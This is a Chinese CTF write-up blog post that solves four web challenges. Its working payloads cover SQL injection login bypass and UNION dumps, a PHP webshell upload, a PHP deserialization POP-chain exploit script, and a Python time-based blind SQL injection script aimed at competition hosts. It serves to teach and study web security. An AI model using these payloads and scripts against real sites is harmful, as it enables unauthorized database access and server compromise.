Author:颖奇L’Amore

Blog:www.gem-love.com


第二天wp: https://www.gem-love.com/ctf/1782.html

第三天wp: https://www.gem-love.com/ctf/1785.html


因为比赛第一天同时有俩比赛,Metasequoia当天结束,i春秋这个比赛3天,本来是打算先把Metasequoia做完,然后那个REGEXP时间盲注+P3rh4ps师傅的题目就先放着了第二天做,结果到第二天发现题没了…(赛后已复现)

简单的招聘系统

考点:简单的SQL注入

搞了半天,在个人信息处有xss,但是也不知道怎么打到admin的cookie,后来发现直接

  • 1′ or 1=1#
  • 1′ or 1=1#

就登上来admin了,无语。后来听师傅们说,登录窗口存在盲注,不知道这个万能密码是不是非预期。

登陆之后有个search for key的地方,测试发现存在SQL注入,用order by发现有5个表:

之后就联合查询就完了

查表:

/pages-blank.php?key=1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()%23

得到:backup, flag, user

查字段:

/pages-blank.php?key=1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()%23

得到:id,safekey,profile,id,flaaag,id,username,password,safekey,profile

flag:

/pages-blank.php?key=1' union select 1,flaaag,3,4,5 from flag %23

得到:flag{99915484-2218-4eb7-a384-251e8b46501d}


ezupload

考点:无

啥过滤都没有,直接上传php木马

然后运行readflag得到flag,简直白给

当然这个肯定是翻车了导致的这么弱智的非预期,看一下他的源代码:

<?php
error_reporting(0);
header("Content-type: text/html; charset=utf-8");
$sandbox='sandbox/'.md5($_SERVER['remote_addr']);
echo $sandbox;
mkdir($sandbox);
chdir($sandbox);
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php,htaccess,ini,'])) {
    die('upload failed');
}

move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<br><br>";
echo "<a href='{$sandbox}/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";

endif;
?>
<form method="post" enctype="multipart/form-data">
   上传: <input type="file" name="file_upload">
    <input type="submit">
</form>

反正我是傻了,这数组写的就离谱:

if (in_array($ext, ['php,htaccess,ini,'])) {
    die('upload failed');
}

这样的数组根本不匹配php文件,应该写成['php', 'htaccess', 'ini']。预期解法应该是用phtml后缀绕过。


Ezphp

考点:反序列化字符逃逸

这题其实半个多月前p3师傅出完题就让我们帮忙测试来着,就是找pop链太套娃了,一直懒得复现

这题有迷惑人的地方,首先登陆后url上的?action=login让人误以为是LFI,测试后发现包含失败;登录框会以为是注入,结果也注不出来。然后扫一下发现有www.zip源码泄露

update.php:

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

login.php:

<?php 
$user=new user();
if(isset($_POST['username'])){
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
		die("<br>Damn you, hacker!");
	}
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
		die("Damn you, hacker!");
	}
	$user->login();
}
?>

最核心的代码都在lib.php里:

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;  
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

这个挺不好绕的,先找反序列化位点,在User类内:

public function update(){
        $Info=unserialize($this->getNewinfo());
[...省略...]
}

跟进这个getNewinfo()函数:

public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

这个getNewinfo()函数可以看到,$age$nickname是可控的,其将Info对象序列化后经过safe()函数处理返回给update()进行反序列化,跟进safe()函数:

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

这个函数会将一些关键字替换成hacker,导致长度发生变化(变长),因此为字符逃逸提供了可能。

知道了如何逃逸,接下来就构造pop链就好了,在update.php内发现实例化了User并且调用了User->update()进行反序列化等操作,如果登录成功则输出flag:

$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

继续跟进User对象,可以看到__toString()魔术方法:

public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

来到UpdateHelper类,发现会把sql给echo()出来:

public function __destruct()
    {
        echo $this->sql;
    }

如果$sql = new User()的话,就会触发User内的__toString()魔术方法,该魔术方法内调用了$nickname属性的update()方法。虽然dbCtrl对象拥有update()方法,但真正是自己做的题的话就会发现,若$nickname实例化成个对象没意义,那个update()方法完全是障眼法,只能继续看。

可以发现Info类内有__Call()魔术方法,如果调用了一个不存在的属性,__Call()方法就会触发,正好Info类没有update()方法,如果User内的$nickname实例化为Info对象,调用不存在的update()就会触发这个__Call(),这个__Call()魔术方法将Ctrlcaselogin()函数结果输出出来:

public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
}

这就很明显了,要把$this->CtrlCase实例化成dbCtrl对象,调用dbCtrl对象内的login()方法,跟进:

public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;

发现它正好把SQL的结果给返回了,这样整个pop链基本就理清楚了。

exp脚本:

<?php
class User
{
    public $age= 'select password,id from user where username=?'; //要把id放password后面
    public $nickname=null;
}

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
}

class UpdateHelper
{
    public $sql;
}

class dbCtrl
{
    public $hostname = "127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name='admin';
    public $token = 'admin';
}

$y1ng = new UpdateHelper();
$y1ng->sql = new User();
$y1ng->sql->nickname = new Info();
$y1ng->sql->nickname->CtrlCase = new dbCtrl();

$y1ng = '";s:8:"CtrlCase";' . serialize($y1ng) . "}";
$length = strlen($y1ng);
$y1ng = str_repeat('union', $length).$y1ng;
echo($y1ng);

输出:

unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}}

在update.php内post提交age=123&nickname=后面接上输出结果,就会得到admin密码的md5

解密,然后登陆即可得到flag


盲注

考点:regexp注入+时间盲注

打开题目得到源码:

<?php
    # flag在fl4g里
    include 'waf.php';
    header("Content-type: text/html; charset=utf-8"); 
    $db = new mysql();

    $id = $_GET['id'];

    if ($id) {
        if(check_sql($id)){
            exit();
        } else {
            $sql = "select * from flllllllag where id=$id";
            $db->query($sql);
        }
    }
    highlight_file(__FILE__);

虽然并不知道waf.php的过滤规则,但是很好fuzz,只要被匹配了就会exit(),fuzz发现union select ' =等常用关键字被ban了。没有等号可以使用基于regexp的时间盲注,该payload可成功延时:

?id=111 or if((substr((fl4g),1,1) regexp "^f"), sleep(5),1)

所以就写脚本跑就行了:

#Author: 颖奇L'Amore
#Blog: www.gem-love.com
import requests
import time
import datetime
from urllib.parse import quote

url = "http://2c2d306b5d6745be846972da7fd262b6e3668d53fa124de3.changame.ichunqiu.com/?id=111"
alphabet = ['?','!',',','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','~','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

target = 'fl4g'
result = ''
print('www.gem-love.com')
for i in range (1,33):
	for char in alphabet:
		# 设置payload
		payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(3),1)'.format(target, i, char)
		# 计算响应时长
		start = int(time.time())
		r = requests.get(url+quote(payload))
		response_time = int(time.time()) - start

		if response_time >= 2:
			result += char
			print('Found: {}'.format(result))
			break

就是比较慢,整个过程得跑几分钟才出来完整flag

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/1669.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image